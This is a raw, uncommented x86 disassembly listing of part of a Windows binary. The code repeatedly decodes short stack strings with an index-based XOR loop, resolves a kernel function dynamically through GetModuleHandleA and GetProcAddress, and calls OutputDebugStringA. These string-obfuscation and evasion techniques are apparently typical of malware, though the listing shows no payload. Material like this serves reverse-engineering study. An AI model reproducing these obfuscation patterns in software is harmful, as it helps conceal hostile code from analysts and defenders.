call fcn.00402c40
lea eax, [esp + 0x960]
mov ecx, 0x562ae4
push eax
lea edx, [esp + 0x97c]
call fcn.0040e7f0
add esp, 4
lea ecx, [esp + 0x978]
call fcn.00402ad0
lea ecx, [esp + 0x960]
call fcn.00402ad0
mov ecx, 0x562ae4
call fcn.00402c10
push 0x54ca10
push eax
call fcn.00506580
add esp, 8
test eax, eax
jne 0x4865f1
xorps xmm0, xmm0
mov word [esp + 0x574], 0xe5fd
movups xmmword [esp + 0x576], xmm0
mov dword [esp + 0x586], 0
xor ecx, ecx
mov word [esp + 0x58a], 0
mov byte [esp + 0x58c], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x574], al
inc ecx
cmp ecx, 2
jb 0x4866c0
lea eax, [esp + 0x574]
mov dword [0x565598], ecx
push eax
lea ecx, [esp + 0xf84]
mov byte [esp + 0x57a], 0
call fcn.00402b70
lea ecx, [esp + 0xf80]
call fcn.00402c10
push eax
lea ecx, [esp + 0x1234]
call fcn.00402b70
xorps xmm0, xmm0
mov word [esp + 0x5a6], 0xeae4
movups xmmword [esp + 0x5a8], xmm0
mov dword [esp + 0x5b8], 0
xor ecx, ecx
mov word [esp + 0x5bc], 0
mov byte [esp + 0x5be], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x5a6], al
inc ecx
cmp ecx, 2
jb 0x486740
lea eax, [esp + 0x5a6]
mov dword [0x565598], ecx
push eax
lea ecx, [esp + 0xf9c]
mov byte [esp + 0x5ac], 0
call fcn.00402b70
lea ecx, [esp + 0xf98]
call fcn.00402c10
push eax
lea ecx, [esp + 0x124c]
call fcn.00402b70
xorps xmm0, xmm0
mov word [esp + 0x5bf], 0xe9ed
movups xmmword [esp + 0x5c1], xmm0
mov dword [esp + 0x5d1], 0
xor ecx, ecx
mov word [esp + 0x5d5], 0
mov byte [esp + 0x5d7], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x5bf], al
inc ecx
cmp ecx, 2
jb 0x4867c0
lea eax, [esp + 0x5bf]
mov dword [0x565598], ecx
push eax
lea ecx, [esp + 0xfb4]
mov byte [esp + 0x5c5], 0
call fcn.00402b70
lea ecx, [esp + 0xfb0]
call fcn.00402c10
push eax
lea ecx, [esp + 0x1264]
call fcn.00402b70
xorps xmm0, xmm0
mov word [esp + 0x5d8], 0xfdee
movups xmmword [esp + 0x5da], xmm0
mov dword [esp + 0x5ea], 0
xor ecx, ecx
mov word [esp + 0x5ee], 0
mov byte [esp + 0x5f0], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x5d8], al
inc ecx
cmp ecx, 2
jb 0x486840
lea eax, [esp + 0x5d8]
mov dword [0x565598], ecx
push eax
lea ecx, [esp + 0xfcc]
mov byte [esp + 0x5de], 0
call fcn.00402b70
lea ecx, [esp + 0xfc8]
call fcn.00402c10
push eax
lea ecx, [esp + 0x127c]
call fcn.00402b70
xorps xmm0, xmm0
mov word [esp + 0x5f1], 0xeafa
movups xmmword [esp + 0x5f3], xmm0
mov dword [esp + 0x603], 0
xor ecx, ecx
mov word [esp + 0x607], 0
mov byte [esp + 0x609], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x5f1], al
inc ecx
cmp ecx, 2
jb 0x4868c0
lea eax, [esp + 0x5f1]
mov dword [0x565598], ecx
push eax
lea ecx, [esp + 0xfe4]
mov byte [esp + 0x5f7], 0
call fcn.00402b70
lea ecx, [esp + 0xfe0]
call fcn.00402c10
push eax
lea ecx, [esp + 0x1294]
call fcn.00402b70
xorps xmm0, xmm0
mov word [esp + 0x60a], 0xf4e2
movups xmmword [esp + 0x60c], xmm0
mov dword [esp + 0x61c], 0
xor ecx, ecx
mov word [esp + 0x620], 0
mov byte [esp + 0x622], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x60a], al
inc ecx
cmp ecx, 2
jb 0x486940
lea eax, [esp + 0x60a]
mov dword [0x565598], ecx
push eax
lea ecx, [esp + 0xb74]
mov byte [esp + 0x610], 0
call fcn.00402b70
lea ecx, [esp + 0xb70]
call fcn.00402c10
push eax
lea ecx, [esp + 0x12ac]
call fcn.00402b70
xorps xmm0, xmm0
mov word [esp + 0x623], 0xf7e4
movups xmmword [esp + 0x625], xmm0
mov dword [esp + 0x635], 0
xor ecx, ecx
mov word [esp + 0x639], 0
mov byte [esp + 0x63b], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x623], al
inc ecx
cmp ecx, 2
jb 0x4869c0
lea eax, [esp + 0x623]
mov dword [0x565598], ecx
push eax
lea ecx, [esp + 0xb5c]
mov byte [esp + 0x629], 0
call fcn.00402b70
lea ecx, [esp + 0xb58]
call fcn.00402c10
push eax
lea ecx, [esp + 0x12c4]
call fcn.00402b70
xorps xmm0, xmm0
mov word [esp + 0x63c], 0xfafb
movups xmmword [esp + 0x63e], xmm0
mov dword [esp + 0x64e], 0
xor ecx, ecx
mov word [esp + 0x652], 0
mov byte [esp + 0x654], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x63c], al
inc ecx
cmp ecx, 2
jb 0x486a40
lea eax, [esp + 0x63c]
mov dword [0x565598], ecx
push eax
lea ecx, [esp + 0xb44]
mov byte [esp + 0x642], 0
call fcn.00402b70
lea ecx, [esp + 0xb40]
call fcn.00402c10
push eax
lea ecx, [esp + 0x12dc]
call fcn.00402b70
xorps xmm0, xmm0
mov word [esp + 0x655], 0xf1fa
movups xmmword [esp + 0x657], xmm0
mov dword [esp + 0x667], 0
xor ecx, ecx
mov word [esp + 0x66b], 0
mov byte [esp + 0x66d], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x655], al
inc ecx
cmp ecx, 2
jb 0x486ac0
lea eax, [esp + 0x655]
mov dword [0x565598], ecx
push eax
lea ecx, [esp + 0xb2c]
mov byte [esp + 0x65b], 0
call fcn.00402b70
lea ecx, [esp + 0xb28]
call fcn.00402c10
push eax
lea ecx, [esp + 0x12f4]
call fcn.00402b70
xorps xmm0, xmm0
mov word [esp + 0x66e], 0xeaee
movups xmmword [esp + 0x670], xmm0
mov dword [esp + 0x680], 0
xor ecx, ecx
mov word [esp + 0x684], 0
mov byte [esp + 0x686], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x66e], al
inc ecx
cmp ecx, 2
jb 0x486b40
lea eax, [esp + 0x66e]
mov dword [0x565598], ecx
push eax
lea ecx, [esp + 0xb14]
mov byte [esp + 0x674], 0
call fcn.00402b70
lea ecx, [esp + 0xb10]
call fcn.00402c10
push eax
lea ecx, [esp + 0x130c]
call fcn.00402b70
lea eax, [esp + 0x1320]
push eax
lea eax, [esp + 0x1234]
push eax
lea ecx, [esp + 0x1000]
call fcn.00489ce0
lea ecx, [esp + 0xf18]
push dword [eax + 4]
push dword [eax]
call fcn.00489a00
push fcn.00402ad0
push 0xa
push 0x18
lea eax, [esp + 0x123c]
push eax
call fcn.00504f75
lea ecx, [esp + 0xb10]
call fcn.00402ad0
lea ecx, [esp + 0xb28]
call fcn.00402ad0
lea ecx, [esp + 0xb40]
call fcn.00402ad0
lea ecx, [esp + 0xb58]
call fcn.00402ad0
lea ecx, [esp + 0xb70]
call fcn.00402ad0
lea ecx, [esp + 0xfe0]
call fcn.00402ad0
lea ecx, [esp + 0xfc8]
call fcn.00402ad0
lea ecx, [esp + 0xfb0]
call fcn.00402ad0
lea ecx, [esp + 0xf98]
call fcn.00402ad0
lea ecx, [esp + 0xf80]
call fcn.00402ad0
lea eax, [esp + 0x7b4]
push eax
lea ecx, [esp + 0xf1c]
call fcn.004919a0
test eax, eax
je 0x486d21
movaps xmm0, xmmword [0x5522b0]
xor ecx, ecx
movups xmmword [esp + 0x81f], xmm0
mov word [esp + 0x82f], 0xb3cc
xorps xmm0, xmm0
mov dword [esp + 0x841], 0
movups xmmword [esp + 0x831], xmm0
mov word [esp + 0x845], 0
mov byte [esp + 0x847], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x81f], al
inc ecx
cmp ecx, 0x12
jb 0x486cb0
lea eax, [esp + 0x81f]
mov dword [0x5655dc], ecx
push eax
lea ecx, [esp + 0xf6c]
mov byte [esp + 0x835], 0
call fcn.00402b70
lea ecx, [esp + 0xf68]
call fcn.00402c10
push 0x54c9ac
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0xf68]
mov esi, eax
call fcn.00402ad0
test esi, esi
je 0x486d21
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.4443436
call esi
call fcn.004287f0
call fcn.00428860
call fcn.004288d0
call fcn.00428940
call fcn.004289b0
mov ecx, 0x565058
call fcn.0048a510
test al, al
je 0x486e26
mov ecx, 0x565058
call fcn.0048a530
test al, al
jne 0x486e26
xorps xmm0, xmm0
mov dword [esp + 0x107], 0xd0d0c2c8
mov dword [esp + 0x10b], 0xc4d6c7ec
xor ecx, ecx
mov word [esp + 0x10f], 0xddd2
mov byte [esp + 0x111], 0xd7
movups xmmword [esp + 0x112], xmm0
mov dword [esp + 0x122], 0
mov word [esp + 0x126], 0
mov byte [esp + 0x128], al
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x107], al
inc ecx
cmp ecx, 0xb
jb 0x486dc0
lea eax, [esp + 0x107]
mov dword [0x565530], ecx
push eax
lea ecx, [esp + 0xf54]
mov byte [esp + 0x116], 0
call fcn.00402b70
lea ecx, [esp + 0xf50]
mov dword [esp + 0x28], 1
call fcn.00402c10
push eax
mov ecx, 0x565058
call fcn.00490ca0
mov ecx, eax
call fcn.0048a520
test al, al
je 0x486e26
mov bl, 1
mov eax, 1
jmp 0x486e2c
mov eax, dword [esp + 0x28]
xor bl, bl
test al, 1
je 0x486e3c
lea ecx, [esp + 0xf50]
call fcn.00402ad0
test bl, bl
je 0x4875a2
xorps xmm0, xmm0
mov dword [esp + 0xe5], 0xd0d0c2c8
mov dword [esp + 0xe9], 0xc4d6c7ec
xor ecx, ecx
mov word [esp + 0xed], 0xddd2
mov byte [esp + 0xef], 0xd7
movups xmmword [esp + 0xf0], xmm0
mov dword [esp + 0x100], 0
mov word [esp + 0x104], 0
mov byte [esp + 0x106], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0xe5], al
inc ecx
cmp ecx, 0xb
jb 0x486ea0
lea eax, [esp + 0xe5]
mov dword [0x565530], ecx
push eax
lea ecx, [esp + 0xf3c]
mov byte [esp + 0xf4], 0
call fcn.00402b70
lea ecx, [esp + 0xf38]
call fcn.00402c10
push eax
mov ecx, 0x565058
call fcn.00490ca0
mov ecx, eax
call fcn.004916a0
lea ecx, [esp + 0xf38]
mov byte [0x562abb], al
call fcn.00402ad0
xorps xmm0, xmm0
mov dword [esp + 0x2b8], 0xd0d0c2c8
mov word [esp + 0x2bc], 0xc0ec
xor ecx, ecx
mov byte [esp + 0x2be], 0xd2
movups xmmword [esp + 0x2bf], xmm0
mov dword [esp + 0x2cf], 0
mov word [esp + 0x2d3], 0
mov byte [esp + 0x2d5], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x2b8], al
inc ecx
cmp ecx, 7
jb 0x486f50
lea eax, [esp + 0x2b8]
mov dword [0x565560], ecx
push eax
lea ecx, [esp + 0xf04]
mov byte [esp + 0x2c3], 0
call fcn.00402b70
lea ecx, [esp + 0xf00]
call fcn.00402c10
push eax
mov ecx, 0x565058
call fcn.00490ca0
mov ecx, eax
call fcn.004916a0
lea ecx, [esp + 0xf00]
mov byte [0x562ac5], al
call fcn.00402ad0
xorps xmm0, xmm0
mov dword [esp + 0x29a], 0xd0d0c2c8
mov word [esp + 0x29e], 0xd0ec
xor ecx, ecx
mov byte [esp + 0x2a0], 0xc6
movups xmmword [esp + 0x2a1], xmm0
mov dword [esp + 0x2b1], 0
mov word [esp + 0x2b5], 0
mov byte [esp + 0x2b7], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x29a], al
inc ecx
cmp ecx, 7
jb 0x487000
lea eax, [esp + 0x29a]
mov dword [0x565560], ecx
push eax
lea ecx, [esp + 0xeec]
mov byte [esp + 0x2a5], 0
call fcn.00402b70
lea ecx, [esp + 0xee8]
call fcn.00402c10
push eax
mov ecx, 0x565058
call fcn.00490ca0
mov ecx, eax
call fcn.004916a0
lea ecx, [esp + 0xee8]
mov byte [0x562aba], al
call fcn.00402ad0
xorps xmm0, xmm0
mov dword [esp + 0xa0], 0xd0d0c2c8
mov dword [esp + 0xa4], 0xdad4c3ec
xor ecx, ecx
mov dword [esp + 0xa8], 0xc9cddddb
movups xmmword [esp + 0xac], xmm0
mov dword [esp + 0xbc], 0
mov word [esp + 0xc0], 0
mov byte [esp + 0xc2], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0xa0], al
inc ecx
cmp ecx, 0xc
jb 0x4870b0
lea eax, [esp + 0xa0]
mov dword [0x565528], ecx
push eax
lea ecx, [esp + 0xed4]
mov byte [esp + 0xb0], 0
call fcn.00402b70
lea ecx, [esp + 0xed0]
call fcn.00402c10
push eax
mov ecx, 0x565058
call fcn.00490ca0
mov ecx, eax
call fcn.004916a0
lea ecx, [esp + 0xed0]
mov byte [0x562ab9], al
call fcn.00402ad0
xorps xmm0, xmm0
mov dword [esp + 0x7c], 0xd0d0c2c8
mov dword [esp + 0x80], 0xdfddddec
xor ecx, ecx
mov dword [esp + 0x84], 0xc8d6ccc4
mov byte [esp + 0x88], 0xc2
movups xmmword [esp + 0x89], xmm0
mov dword [esp + 0x99], 0
mov word [esp + 0x9d], 0
mov byte [esp + 0x9f], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x7c], al
inc ecx
cmp ecx, 0xd
jb 0x487162
lea eax, [esp + 0x7c]
mov dword [0x56557c], ecx
push eax
lea ecx, [esp + 0xebc]
mov byte [esp + 0x8d], 0
call fcn.00402b70
lea ecx, [esp + 0xeb8]
call fcn.00402c10
push eax
mov ecx, 0x565058
call fcn.00490ca0
mov ecx, eax
call fcn.004916a0
lea ecx, [esp + 0xeb8]
mov byte [0x562ac4], al
call fcn.00402ad0
xorps xmm0, xmm0
mov dword [esp + 0x226], 0xd0d0c2c8
mov dword [esp + 0x22a], 0xc6c1d2ec
xor ecx, ecx
movups xmmword [esp + 0x22e], xmm0
mov dword [esp + 0x23e], 0
mov word [esp + 0x242], 0
mov byte [esp + 0x244], 0
nop
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x226], al
inc ecx
cmp ecx, 8
jb 0x487200
lea eax, [esp + 0x226]
mov dword [0x565624], ecx
push eax
lea ecx, [esp + 0xea4]
mov byte [esp + 0x232], 0
call fcn.00402b70
lea ecx, [esp + 0xea0]
call fcn.00402c10
push eax
mov ecx, 0x565058
call fcn.00490ca0
mov ecx, eax
call fcn.004916a0
lea ecx, [esp + 0xea0]
mov byte [0x562ac6], al
call fcn.00402ad0
xorps xmm0, xmm0
mov dword [esp + 0x14b], 0xd0d0c2c8
mov dword [esp + 0x14f], 0xdbd4d3ec
xor ecx, ecx
mov word [esp + 0x153], 0xcbd2
movups xmmword [esp + 0x155], xmm0
mov dword [esp + 0x165], 0
mov word [esp + 0x169], 0
mov byte [esp + 0x16b], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x14b], al
inc ecx
cmp ecx, 0xa
jb 0x4872b0
lea eax, [esp + 0x14b]
mov dword [0x5655e0], ecx
push eax
lea ecx, [esp + 0xe8c]
mov byte [esp + 0x159], 0
call fcn.00402b70
lea ecx, [esp + 0xe88]
call fcn.00402c10
push eax
mov ecx, 0x565058
call fcn.00490ca0
mov ecx, eax
call fcn.004916a0
lea ecx, [esp + 0xe88]
mov byte [0x562ab8], al
call fcn.00402ad0
xorps xmm0, xmm0
mov dword [esp + 0x56], 0xd0d0c2c8
mov dword [esp + 0x5a], 0xc5d0d9ec
xor ecx, ecx
mov dword [esp + 0x5e], 0xddd7ddc4
mov word [esp + 0x62], 0xcede
mov byte [esp + 0x64], 0xce
movups xmmword [esp + 0x65], xmm0
mov dword [esp + 0x75], 0
mov word [esp + 0x79], 0
mov byte [esp + 0x7b], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x56], al
inc ecx
cmp ecx, 0xf
jb 0x487354
lea eax, [esp + 0x56]
mov dword [0x565558], ecx
push eax
lea ecx, [esp + 0xe5c]
mov byte [esp + 0x69], 0
call fcn.00402b70
lea ecx, [esp + 0xe58]
call fcn.00402c10
push eax
mov ecx, 0x565058
call fcn.00490ca0
mov ecx, eax
call fcn.004916a0
lea ecx, [esp + 0xe58]
mov byte [0x562ac8], al
call fcn.00402ad0
xorps xmm0, xmm0
mov dword [esp + 0x1e8], 0xd0d0c2c8
mov dword [esp + 0x1ec], 0xd8c5c2ec
xor ecx, ecx
movups xmmword [esp + 0x1f0], xmm0
mov dword [esp + 0x200], 0
mov word [esp + 0x204], 0
mov byte [esp + 0x206], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x1e8], al
inc ecx
cmp ecx, 8
jb 0x4873f0
lea eax, [esp + 0x1e8]
mov dword [0x565624], ecx
push eax
lea ecx, [esp + 0xe44]
mov byte [esp + 0x1f4], 0
call fcn.00402b70
lea ecx, [esp + 0xe40]
call fcn.00402c10
push eax
mov ecx, 0x565058
call fcn.00490ca0
mov ecx, eax
call fcn.004916a0
lea ecx, [esp + 0xe40]
mov byte [0x562ac7], al
call fcn.00402ad0
xorps xmm0, xmm0
mov dword [esp + 0x1c9], 0xedd4c3da
mov dword [esp + 0x1cd], 0xd5dbc2db
xor ecx, ecx
movups xmmword [esp + 0x1d1], xmm0
mov dword [esp + 0x1e1], 0
mov word [esp + 0x1e5], 0
mov byte [esp + 0x1e7], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x1c9], al
inc ecx
cmp ecx, 8
jb 0x487492
lea eax, [esp + 0x1c9]
mov dword [0x565624], ecx
push eax
lea ecx, [esp + 0xe2c]
mov byte [esp + 0x1d5], 0
call fcn.00402b70
lea ecx, [esp + 0xe28]
call fcn.00402c10
push eax
mov ecx, 0x565058
call fcn.00490ca0
mov ecx, eax
call fcn.004916a0
lea ecx, [esp + 0xe28]
mov byte [0x564e43], al
call fcn.00402ad0
movaps xmm0, xmmword [0x552450]
xor ecx, ecx
movups xmmword [esp + 0x7f6], xmm0
mov word [esp + 0x806], 0xa1cb
xorps xmm0, xmm0
mov dword [esp + 0x818], 0
movups xmmword [esp + 0x808], xmm0
mov word [esp + 0x81c], 0
mov byte [esp + 0x81e], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x7f6], al
inc ecx
cmp ecx, 0x12
jb 0x487540
lea eax, [esp + 0x7f6]
mov dword [0x5655dc], ecx
push eax
lea ecx, [esp + 0xe14]
mov byte [esp + 0x80c], 0
call fcn.00402b70
lea ecx, [esp + 0xe10]
call fcn.00402c10
push eax
mov ecx, 0x565058
call fcn.00490ca0
mov ecx, eax
call fcn.004916a0
lea ecx, [esp + 0xe10]
mov byte [0x564e23], al
call fcn.00402ad0
push 0x5443dc
lea ecx, [esp + 0x84c]
call fcn.00402b70
push 0x5443dc
lea ecx, [esp + 0x864]
call fcn.00402b70
push 0x5443dc
lea ecx, [esp + 0x87c]
call fcn.00402b70
lea eax, [esp + 0x720]
mov ecx, 0x565110
push eax
call fcn.0048a3a0
lea eax, [esp + 0x8a8]
mov ecx, 0x565110
push eax
call fcn.0048a330
lea eax, [esp + 0x8a8]
push eax
lea ecx, [esp + 0x724]
call fcn.0048e1e0
test al, al
jne 0x48833e
mov ebx, dword [esp + 0x18]
nop dword [eax]
lea ecx, [esp + 0x720]
call fcn.00489fe0
xorps xmm0, xmm0
mov dword [esp + 0x43e], 0xd7dcd1c1
mov edi, eax
mov dword [esp + 0x452], 0
movups xmmword [esp + 0x442], xmm0
mov word [esp + 0x456], 0
xor ecx, ecx
mov byte [esp + 0x458], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x43e], al
inc ecx
cmp ecx, 4
jb 0x487663
lea eax, [esp + 0x43e]
mov dword [0x5655d8], ecx
push eax
lea ecx, [esp + 0xde4]
mov byte [esp + 0x446], 0
call fcn.00402b70
lea ecx, [esp + 0xde0]
call fcn.00402c10
push eax
mov ecx, edi
call fcn.00490ca0
lea ecx, [esp + 0x948]
mov esi, eax
call fcn.00402be0
lea edx, [esp + 0x948]
mov ecx, esi
call fcn.004a0910
movaps xmm0, xmmword [0x551f70]
xor ecx, ecx
movups xmmword [esp + 0x733], xmm0
mov dword [esp + 0x743], 0xf39ea5d1
xorps xmm0, xmm0
mov dword [esp + 0x757], 0
movups xmmword [esp + 0x747], xmm0
mov word [esp + 0x75b], 0
mov byte [esp + 0x75d], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x733], al
inc ecx
cmp ecx, 0x14
jb 0x487710
lea eax, [esp + 0x733]
mov dword [0x565540], ecx
push eax
lea ecx, [esp + 0xdfc]
mov byte [esp + 0x74b], 0
call fcn.00402b70
lea ecx, [esp + 0xdf8]
call fcn.00402c10
push 0
push eax
lea ecx, [esp + 0x950]
call fcn.0048c7a0
lea ecx, [esp + 0xdf8]
mov esi, eax
call fcn.00402ad0
lea ecx, [esp + 0x948]
call fcn.00402ad0
lea ecx, [esp + 0xde0]
call fcn.00402ad0
test esi, esi
jne 0x487a72
xorps xmm0, xmm0
mov dword [esp + 0x32c], 0xc7ddd1d9
mov byte [esp + 0x330], 0xd6
xor ecx, ecx
movups xmmword [esp + 0x331], xmm0
mov dword [esp + 0x341], esi
mov word [esp + 0x345], si
mov byte [esp + 0x347], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x32c], al
inc ecx
cmp ecx, 5
jb 0x4877c3
lea eax, [esp + 0x32c]
mov dword [0x565544], ecx
push eax
lea ecx, [esp + 0xdcc]
mov byte [esp + 0x335], 0
call fcn.00402b70
lea ecx, [esp + 0xdc8]
call fcn.00402c10
push eax
mov ecx, edi
call fcn.00490ca0
lea ecx, [esp + 0x1110]
push ecx
mov ecx, eax
call fcn.00490de0
push eax
lea ecx, [esp + 0x84c]
call fcn.0048cb40
lea ecx, [esp + 0x1110]
call fcn.00402ad0
lea ecx, [esp + 0xdc8]
call fcn.00402ad0
nop
xorps xmm0, xmm0
mov dword [esp + 0x459], 0x8cc3d293
movups xmmword [esp + 0x45d], xmm0
mov dword [esp + 0x46d], 0
xor ecx, ecx
mov word [esp + 0x471], 0
mov byte [esp + 0x473], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x459], al
inc ecx
cmp ecx, 4
jb 0x487875
lea eax, [esp + 0x459]
mov dword [0x5655d8], ecx
push eax
lea ecx, [esp + 0xdb4]
mov byte [esp + 0x461], 0
call fcn.00402b70
lea ecx, [esp + 0xdb0]
call fcn.00402c10
push 0
push eax
lea ecx, [esp + 0x850]
call fcn.0048c7a0
lea ecx, [esp + 0xdb0]
mov esi, eax
call fcn.00402ad0
cmp esi, 0xffffffff
je 0x487a72
xorps xmm0, xmm0
mov word [esp + 0x687], 0xbaa2
movups xmmword [esp + 0x689], xmm0
mov dword [esp + 0x699], 0
xor ecx, ecx
mov word [esp + 0x69d], 0
mov byte [esp + 0x69f], 0
nop
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x687], al
inc ecx
cmp ecx, 2
jb 0x487910
lea eax, [esp + 0x687]
mov dword [0x565598], ecx
push eax
lea ecx, [esp + 0xd84]
mov byte [esp + 0x68d], 0
call fcn.00402b70
lea ecx, [esp + 0xd80]
call fcn.00402c10
push dword [esp + 0x18]
lea ecx, [esp + 0x91c]
mov esi, eax
call fcn.00402c20
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x487966
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x920]
call fcn.00402c40
xorps xmm0, xmm0
mov dword [esp + 0x474], 0x8cc3d293
movups xmmword [esp + 0x478], xmm0
mov dword [esp + 0x488], 0
xor ecx, ecx
mov word [esp + 0x48c], 0
mov byte [esp + 0x48e], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x474], al
inc ecx
cmp ecx, 4
jb 0x4879b2
lea eax, [esp + 0x474]
mov dword [0x5655d8], ecx
push eax
lea ecx, [esp + 0xd9c]
mov byte [esp + 0x47c], 0
call fcn.00402b70
lea ecx, [esp + 0xd98]
call fcn.00402c10
push dword [esp + 0x18]
lea ecx, [esp + 0x934]
mov esi, eax
call fcn.00402c20
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x487a08
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x938]
call fcn.00402c40
lea eax, [esp + 0x918]
push eax
lea edx, [esp + 0x934]
lea ecx, [esp + 0x84c]
call fcn.0040e7f0
add esp, 4
lea ecx, [esp + 0x930]
call fcn.00402ad0
lea ecx, [esp + 0xd98]
call fcn.00402ad0
lea ecx, [esp + 0x918]
call fcn.00402ad0
lea ecx, [esp + 0xd80]
call fcn.00402ad0
jmp 0x487840
xorps xmm0, xmm0
mov dword [esp + 0x48f], 0xd7dcd1c1
movups xmmword [esp + 0x493], xmm0
mov dword [esp + 0x4a3], 0
xor ecx, ecx
mov word [esp + 0x4a7], 0
mov byte [esp + 0x4a9], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x48f], al
inc ecx
cmp ecx, 4
jb 0x487ab0
lea eax, [esp + 0x48f]
mov dword [0x5655d8], ecx
push eax
lea ecx, [esp + 0xe74]
mov byte [esp + 0x497], 0
call fcn.00402b70
lea ecx, [esp + 0xe70]
call fcn.00402c10
push eax
mov ecx, edi
call fcn.00490ca0
lea ecx, [esp + 0x9c0]
mov esi, eax
call fcn.00402be0
lea edx, [esp + 0x9c0]
mov ecx, esi
call fcn.004a0910
movaps xmm0, xmmword [0x551f70]
xor ecx, ecx
movups xmmword [esp + 0x75e], xmm0
mov dword [esp + 0x76e], 0xf09ea5d1
xorps xmm0, xmm0
mov dword [esp + 0x782], 0
movups xmmword [esp + 0x772], xmm0
mov word [esp + 0x786], 0
mov byte [esp + 0x788], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x75e], al
inc ecx
cmp ecx, 0x14
jb 0x487b60
lea eax, [esp + 0x75e]
mov dword [0x565540], ecx
push eax
lea ecx, [esp + 0xc1c]
mov byte [esp + 0x776], 0
call fcn.00402b70
lea ecx, [esp + 0xc18]
call fcn.00402c10
push 0
push eax
lea ecx, [esp + 0x9c8]
call fcn.0048c7a0
lea ecx, [esp + 0xc18]
mov esi, eax
call fcn.00402ad0
lea ecx, [esp + 0x9c0]
call fcn.00402ad0
lea ecx, [esp + 0xe70]
call fcn.00402ad0
test esi, esi
jne 0x487ec2
xorps xmm0, xmm0
mov dword [esp + 0x310], 0xc7ddd1d9
mov byte [esp + 0x314], 0xd6
xor ecx, ecx
movups xmmword [esp + 0x315], xmm0
mov dword [esp + 0x325], esi
mov word [esp + 0x329], si
mov byte [esp + 0x32b], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x310], al
inc ecx
cmp ecx, 5
jb 0x487c13
lea eax, [esp + 0x310]
mov dword [0x565544], ecx
push eax
lea ecx, [esp + 0xc04]
mov byte [esp + 0x319], 0
call fcn.00402b70
lea ecx, [esp + 0xc00]
call fcn.00402c10
push eax
mov ecx, edi
call fcn.00490ca0
lea ecx, [esp + 0x10f8]
push ecx
mov ecx, eax
call fcn.00490de0
push eax
lea ecx, [esp + 0x864]
call fcn.0048cb40
lea ecx, [esp + 0x10f8]
call fcn.00402ad0
lea ecx, [esp + 0xc00]
call fcn.00402ad0
nop
xorps xmm0, xmm0
mov dword [esp + 0x4aa], 0x8cc3d293
movups xmmword [esp + 0x4ae], xmm0
mov dword [esp + 0x4be], 0
xor ecx, ecx
mov word [esp + 0x4c2], 0
mov byte [esp + 0x4c4], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x4aa], al
inc ecx
cmp ecx, 4
jb 0x487cc5
lea eax, [esp + 0x4aa]
mov dword [0x5655d8], ecx
push eax
lea ecx, [esp + 0xc34]
mov byte [esp + 0x4b2], 0
call fcn.00402b70
lea ecx, [esp + 0xc30]
call fcn.00402c10
push 0
push eax
lea ecx, [esp + 0x868]
call fcn.0048c7a0
lea ecx, [esp + 0xc30]
mov esi, eax
call fcn.00402ad0
cmp esi, 0xffffffff
je 0x487ec2
xorps xmm0, xmm0
mov word [esp + 0x58d], 0xbaa2
movups xmmword [esp + 0x58f], xmm0
mov dword [esp + 0x59f], 0
xor ecx, ecx
mov word [esp + 0x5a3], 0
mov byte [esp + 0x5a5], 0
nop
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x58d], al
inc ecx
cmp ecx, 2
jb 0x487d60
lea eax, [esp + 0x58d]
mov dword [0x565598], ecx
push eax
lea ecx, [esp + 0xc64]
mov byte [esp + 0x593], 0
call fcn.00402b70
lea ecx, [esp + 0xc60]
call fcn.00402c10
push dword [esp + 0x18]
lea ecx, [esp + 0x9dc]
mov esi, eax
call fcn.00402c20
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x487db6
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x9e0]
call fcn.00402c40
xorps xmm0, xmm0
